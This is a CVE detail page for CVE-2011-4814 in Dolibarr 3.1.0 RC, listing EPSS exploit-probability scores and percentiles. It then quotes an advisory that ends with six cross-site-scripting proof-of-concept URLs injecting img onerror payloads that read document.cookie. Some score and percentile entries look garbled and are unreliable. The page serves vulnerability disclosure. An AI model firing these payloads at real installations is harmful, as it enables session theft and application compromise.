CVE-2011-4814 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.78%	–	–
2022-02-27	–	–	3.13%	–	–
2022-03-06	–	–	3.13%	–	–
2022-04-03	–	–	3.13%	–	–
2022-05-15	–	–	3.13%	–	–
2022-12-18	–	–	3.13%	–	–
2023-01-01	–	–	3.13%	–	–
2023-02-05	–	–	3.13%	–	–
2023-03-12	–	–	–	0.25%	–
2023-04-23	–	–	–	0.25%	–
2023-07-09	–	–	–	0.34%	–
2023-11-05	–	–	–	0.34%	–
2023-11-12	–	–	–	0.38%	–
2024-01-07	–	–	–	0.48%	–
2024-02-11	–	–	–	0.48%	–
2024-04-14	–	–	–	0.48%	–
2024-06-02	–	–	–	0.48%	–
2024-11-24	–	–	–	0.48%	–
2024-12-22	–	–	–	0.48%	–
2025-01-05	–	–	–	0.68%	–
2025-01-19	–	–	–	0.68%	–
2025-03-18	–	–	–	–	3.28%
2025-03-30	–	–	–	–	4.39%
2025-03-30	–	–	–	–	4.39,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	64%
2022-02-27	65%
2022-03-06	66%
2022-04-03	82%
2022-05-15	83%
2022-12-18	84%
2023-01-01	83%
2023-02-05	84%
2023-03-12	61%
2023-04-23	62%
2023-07-09	68%
2023-11-05	69%
2023-11-12	7%
2024-01-07	73%
2024-02-11	75%
2024-04-14	76%
2024-06-02	76%
2024-11-24	77%
2024-12-22	76%
2025-01-05	8%
2025-01-19	8%
2025-03-18	86%
2025-03-30	88%
2025-03-30	88%

source: https://www.securityfocus.com/bid/50777/info Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected. http://www.example.com/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E http://www.example.com/admin/boxes.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3 E http://www.example.com/comm/clients.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29% 3E http://www.example.com/commande/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%2 9%3E http://www.example.com/admin/ihm.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.coo kie%29%3E http://www.example.com/user/home.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.coo kie%29%3E Successful exploitation of this vulnerabilities requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default")